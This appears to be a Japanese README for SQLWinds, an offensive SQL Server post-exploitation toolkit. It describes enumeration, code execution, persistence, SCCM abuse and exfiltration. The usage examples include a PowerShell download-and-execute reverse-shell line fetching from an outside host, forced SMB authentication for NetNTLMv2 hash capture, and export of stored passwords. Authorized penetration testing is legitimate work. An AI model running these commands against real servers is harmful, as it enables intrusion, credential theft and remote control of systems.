SQLWinds

SQLセキュリティ評価＆ポストエクスプロイテーションツールキット

SQLWinds は、Microsoft SQL Server のセキュリティテストと悪用のためのコマンドラインツールです。サーバーの詳細な分析、権限昇格、攻撃の実行、ネットワークを介したピボットを実現する対話型環境を提供し、インメモリコード実行や SCCM データベース探索などのタスクに特化したコマンドを備えています。

📖 ドキュメントとリソース

クイックリンク:

• 完全なドキュメント＆Wiki - 完全な使用ガイドとコマンドリファレンス
• 問題を報告 - バグを見つけた、または機能リクエストがありますか?
• 最新リリース - 最新バージョンをダウンロード

機能

• 多様な認証方式: SQL、Windows 統合 (--integrated)、Kerberos 委任 (--user/--pass を指定した --kerberos) に対応。
• 包括的な列挙:
  • サーバー情報、データベース、テーブル、列、ユーザー、権限。
  • セキュリティ構成監査 (xp_cmdshell、CLR、OLE など)。
  • 機密データの検出とシークレットの抽出。
  • リンクサーバーの列挙と悪用。
• ポストエクスプロイテーションと水平展開:
  • コード実行: xp_cmdshell、OLE Automation Procedures (sp_oacreate)、CLR 統合を有効化して使用。
  • インメモリ CLR: ディスクにファイルを書き込まずに、.NET アセンブリをメモリから直接読み込んで実行 (:memclr)。
  • 資格情報の窃取: リレー攻撃のために UNC パスへの SMB 認証を強制 (:unc_smb)。
  • レジストリ操作: xp_regread を使用してレジストリのキーと値を読み取り。
  • 永続化: SQL エージェントジョブの作成、一覧表示、実行。
  • データの外部送信: ファイルのアップロード/ダウンロードと、クエリ結果の CSV/JSON へのエクスポート。
• SCCM データベース連携: (対象データベースが SCCM の場合)
  • SCCM を検出し、バージョン/サイト情報を報告。
  • ハードウェア、ソフトウェア、コレクション、展開のインベントリ。
  • SCCM 固有のセキュリティ監査の実行。
• Kerberos 分析: 対象に関連付けられた SPN を Active Directory で確認し、Kerberos 認証のトラブルシューティングを行います。
• インスタンス検出: ドメイン上で利用可能な SQL Server インスタンスを列挙します。
• 高度な REPL: オートコンプリートとコマンド履歴を備えた対話型環境。

インストールとコンパイル

クイックビルド

リポジトリには、Windows での簡単なコンパイルのための build.bat スクリプトが含まれています。

.\build.bat

コンパイルされた SQLWinds.exe 実行ファイルは bin\Release\ ディレクトリに配置されます。

手動ビルド

1. .NET Framework (≥ 4.6.1) または .NET SDK がインストールされていることを確認します。
2. リポジトリをクローンします:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. ソリューションをコンパイルします:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

使用方法

基本接続

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

一般的なコマンドラインオプション

対話型 REPL モード

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

REPL コマンド完全リファレンス

例: 大きなスクリプトに :plain を使用する

:plain コマンドは、大きな複数行の SQL スクリプトを実行するために不可欠です。

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. :plain と入力して Enter を押します。
2. 完全な SQL スクリプトを貼り付けるか入力します。
3. 新しい行に :execute と入力するとスクリプト全体が実行され、:cancel と入力すると中断されます。

使用例

1. 監査

SQLWinds.exe --server dc01 --integrated --security-audit 

2. xp_cmdshell を利用したコード実行

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. インメモリ CLR 実行 (ファイルレス)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. SRelay による NetNTLMv2 ハッシュの窃取

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. SCCM データベースの悪用

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. データの外部送信

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 コントリビューションとサポート

コントリビューションを歓迎します!改善のアイデアや問題を見つけた場合は、次の手順に従ってください:

1. ドキュメントについて Wiki を確認
2. 重複を避けるため、既存の Issues を検索
3. 提案やバグ報告の詳細情報を含む新しい Issue を作成

⚠️ 免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみを意図しています。所有していない、または明示的なテスト許可を得ていないシステムへの不正使用は違法です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。

クレジット

blue0x1 によって開発されました。